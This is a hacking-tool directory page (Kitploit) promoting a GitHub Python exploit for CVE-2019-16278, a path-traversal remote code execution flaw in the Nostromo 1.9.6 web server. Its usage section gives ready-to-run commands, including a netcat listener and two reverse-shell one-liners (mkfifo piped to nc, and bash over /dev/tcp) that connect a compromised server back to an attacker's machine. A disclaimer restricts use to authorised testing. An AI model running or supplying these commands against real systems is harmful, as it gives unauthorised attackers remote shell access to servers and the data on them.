Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution — An unauthenticated attacker can force server points to a shell file like ‘/bin/sh’ and execute arbitrary commands due to the failure in verifying the URL which leads to path traversal to any file that exists in the system. Nostromo’s versions such as 1.9.6 fail to verify this URL | Kitploit
Tools/GitHubGitHub/cybermonkx/cve-2019-16278_nostromo-1.9.6---remote-code-execution
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubcybermonkx/cve-2019-16278_nostromo-1.9.6---remote-code-execution

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

An unauthenticated attacker can force server points to a shell file like ‘/bin/sh’ and execute arbitrary commands due to the failure in verifying the URL which leads to path traversal to any file that exists in the system. Nostromo’s versions such as 1.9.6 fail to verify this URL

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC

Repository: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git

📜 Description

This repository contains a Python exploit for CVE-2019-16278, a vulnerability in Nostromo 1.9.6 (a web server). The vulnerability allows for Remote Code Execution (RCE) by exploiting directory traversal to execute arbitrary commands on the target system.

🚀 Features

  • Execute custom shell commands on the vulnerable target.
  • Support for reverse shell payloads.
  • Ability to customize the size of the response from the target.

🛠️ Requirements

  • Python 3.x
  • A machine running Nostromo 1.9.6 (the vulnerable target).
  • Netcat (nc) to catch reverse shells.

⚙️ Usage

Step 1: Clone the Repository

root@kitploit:~
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

Step 2: Run the Exploit

python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]

Arguments:
Argument	Description	Required	Default
-t, --target	The target IP address	Yes	None
-p, --port	The target port	Yes	None
-c, --command	The command to execute on the server	Yes	None
-b, --bytes	Number of bytes to read in response	No	4096
🧑‍💻 Examples
Example 1: Run whoami on the Target

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"

Example 2: Reverse Shell with Netcat

Step 1: Start a Netcat listener on your attacking machine:

nc -lvnp 443

Step 2: Execute the exploit with a reverse shell payload:

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"

Example 3: Reverse Shell using /dev/tcp

python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

🔍 Vulnerability Details

    CVE: CVE-2019-16278
    Affected Software: Nostromo 1.9.6 Web Server
    Type: Directory Traversal -> Remote Code Execution

⚠️ Disclaimer

This tool is intended for educational purposes only. Do not use it on systems you do not own or have explicit permission to test. Unauthorized access to systems is illegal. Use responsibly.
Download Tool